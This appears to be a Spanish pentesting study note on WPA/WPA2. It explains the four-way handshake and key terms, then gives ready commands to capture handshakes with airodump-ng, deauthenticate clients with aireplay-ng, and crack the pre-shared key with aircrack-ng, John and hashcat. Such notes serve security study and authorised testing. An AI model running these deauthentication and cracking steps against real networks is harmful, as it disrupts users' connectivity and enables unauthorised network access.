# WPA/WPA2

## Cómo funciona

WPA (Wi-Fi Protected Access) y WPA2 son protocolos de seguridad inalámbrica que proporcionan autenticación y cifrado seguros para las redes Wi-Fi. Estos protocolos se diseñaron para mejorar las debilidades del protocolo WEP . En estos protocolos, para que la información viaje cifrada entre los dispositivos que están permitidos en la red, se utiliza el protocolo del Four Way Handshake en el que a través de 4 mensajes que se intercambian entre un cliente y un punto de acceso para establecer una clave de cifrado compartida. Consta de 4 pasos, comenzando cuando un cliente envia una solicitud para autenticarse al AP:

1. El AP envía un un **ANonce** , permitiendole ahora al cliente el crear la **PTK**.
2. Ahora el cliente envia un **SNonce** junto con el **MIC**, estos elementos le permiten al AP crear la PTK.
3. El AP le envía la **GTK** al cliente y este la almacena.
4. El cliente le envía un mensaje al AP para indicarle que todo está correcto.



<figure><img src="https://3633569060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fe5JdwWVWg04LoumBdXxj%2Fuploads%2F0P4egstL5wNydwbpQk5J%2Fimage.png?alt=media&#x26;token=702deeb5-ba87-479f-9a76-d35ebab8433b" alt=""><figcaption></figcaption></figure>

**Glosario:**

* **PSK:** Pre Shared Key, es la contraseña para acceder al Access Point.
* **PMK:** siglas de Pair Master Key, es una clave compuesta tanto por la **PSK** (pre shared key) y el **SSID** (utilizado como salt para darle aleatoriedad a la clave), y la dirección **mac** de la estación.
* **ANonce:** es un valor aleatorio, por lo tanto único, generado por el **AP** al momento de querer autenticarse un cliente, ya que con este valor se podrá generar la PTK.
* **PTK:** es una clave de cifrado temporal utilizada en el proceso de autenticación de un cliente con un access point. Esta compuesta por: **PMK + ANonce + SNonce + MAC-AP + MAC-STA.**
* **MIC:** sirve para garantizar que la integridad del mensaje no fue alterada. Ya que el cliente y el ap pueden calcularlo, asi verifican la integridad del mensaje.
* **GTK:** Group Temporal Key, es una clave compartida entre todos los miembros de la red utilizada para desencriptar todo el tráfico de broadcast (hacia toda la red) o multicast (un grupo de direcciones IP). Esta es actualizada regularmente en la red.



## Explotación

Para poder ganar acceso al access point, vamos a necesitar obtener la PSK. Por lo que si lograsemos capturar todo el proceso del Four Way Handshake seríamos capaces de intentar por fuerza bruta obtener la contraseña. Esto es así por que para poder obtener la clave de la red, esta está contenida en el PMK, que a su vez este está contenido en la PSK, siendo este el único valor que nos falta de la ecuación para obtener la clave.

Para obtener el handshake o bien lo podemos capturar de forma pasiva esperando a que un cliente se conecte a la red o bien deautenticando uno o todos los clientes de la red por una cantidad que determinemos de tiempo, para así forzar a capturar el handshake cuando se intenten reconectar.

### Capturar Handshake

```bash
airodump-ng --bssid <BSSID> --channel <n> --write <outfile> <name-monitor-iface>
airodump-ng --bssid 5C:E2:8C:55:88:B8 --channel 1 --write 4_way_handshake wlxd0374538a8d2
```

### De-Autenticar Cliente/s

```bash
# Specific Client
aireplay-ng --deauth <n-packets> -a <BSSID> -c <client mac> <name-monitor-iface>
aireplay-ng --deauth 0 -a 5C:A0:8C:75:91:E8 -c C0:37:A5:CE:D1:4A wlxd0374538a8d2

# Broadcast
aireplay-ng --deauth <n-packets> -a <BSSID> <name-monitor-iface>
aireplay-ng --deauth 0 -a 5C:A0:8C:75:91:E8 wlxd0374538a8d2
```

### Crackeo de la Pre Shared Key

```bash
### hashcat utils ###
git clone https://github.com/hashcat/hashcat-utils.git
cd hashcat-utils/src/
gcc cap2hccapx.c -o cap2hccapx.bin
./cap2hccapx.bin <.capfile> <output>.hccapx

### Con CPU ###
# Aircrack-ng
aircrack-ng <.cap file> -w <wordlist>

# John The Ripper
./cap2hccapx.bin <.capfile> <output>.hccapx
hccap2john <hccapx file> > hash
john hash -w <wordlist>

### Con GPU ###
# Hashcat
./cap2hccapx.bin <.capfile> <output>.hccapx
hashcat -m 2500 -a 0 <hccapx file> <wordlist>         # Brute Force with wordlis
hashcat -m 2500 -a 3 <hccapx file> ?d?d?d?d?d?d?d?d   # Brute force digits
```
